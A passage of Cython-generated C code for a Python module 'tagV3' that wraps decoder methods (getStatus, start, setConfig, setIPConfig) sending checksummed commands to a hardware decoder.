__Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":386 * * # Command Definition * def getStatus( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.getStatus", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":389 * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] * def start( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_7start(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_7start = {"start", (PyCFunction)__pyx_pw_5tagV3_7decoder_7start, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_7start(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("start (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_6start(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_6start(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("start", 0); /* "tagV3.py":390 * # response: [STATUS] * def start( self ): * self.sendCmd( self.cmd['Start'] ) # <<<<<<<<<<<<<< * # response: [DEPART] or none if decoder already started * def setConfig( self , cfg ): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Start); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":389 * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] * def start( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.start", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":392 * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started * def setConfig( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder configuration * # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_9setConfig(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_9setConfig = {"setConfig", (PyCFunction)__pyx_pw_5tagV3_7decoder_9setConfig, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_9setConfig(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setConfig (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setConfig", 1, 2, 2, 1); __PYX_ERR(0, 392, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setConfig") < 0)) __PYX_ERR(0, 392, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setConfig", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 392, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.setConfig", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_8setConfig(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_8setConfig(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_v_crc = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setConfig", 0); /* "tagV3.py":396 * # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' * # response: none * crc = crc16( bytearray( cfg.encode() ) ) # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) * def setIPConfig( self, cfg ): */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_crc16); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_cfg, __pyx_n_s_encode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_5) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(((PyObject *)(&PyByteArray_Type)), __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_crc = __pyx_t_1; __pyx_t_1 = 0; /* "tagV3.py":397 * # response: none * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) # <<<<<<<<<<<<<< * def setIPConfig( self, cfg ): * # Update decoder IP configuration. Note: Decoder must be stopped */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = PyObject_GetItem(__pyx_t_5, __pyx_kp_u_Set_Config); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_cfg); __Pyx_GIVEREF(__pyx_v_cfg); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_cfg); __Pyx_INCREF(__pyx_v_crc); __Pyx_GIVEREF(__pyx_v_crc); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_v_crc); __pyx_t_4 = PyNumber_Remainder(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":392 * self.sendCmd( self.cmd['Start'] ) * # response: [DEPART] or none if decoder already started * def setConfig( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder configuration * # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.setConfig", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_crc); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":398 * crc = crc16( bytearray( cfg.encode() ) ) * self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) * def setIPConfig( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder IP configuration. Note: Decoder must be stopped * # before issuing this command (why?) */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_11setIPConfig(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_11setIPConfig = {"setIPConfig", (PyCFunction)__pyx_pw_5tagV3_7decoder_11setIPConfig, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_11setIPConfig(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setIPConfig (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setIPConfig", 1, 2, 2, 1); __PYX_ERR(0, 398, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setIPConfig") < 0)) __PYX_ERR(0, 398, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setIPConfig", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 398, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.setIPConfig", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_10setIPConfig(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_10setIPConfig(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_v_crc = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setIPConfig", 0); /* "tagV3.py":402 * # before issuing this command (why?) * # command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' * crc = crc16( bytearray( cfg.encode() ) ) # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) * # response: XPORT specific (TBC) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_crc16); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_cfg, __pyx_n_s_encode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_5) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 402, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(((PyObject *)(&PyByteArray_Type)), __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 402, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; 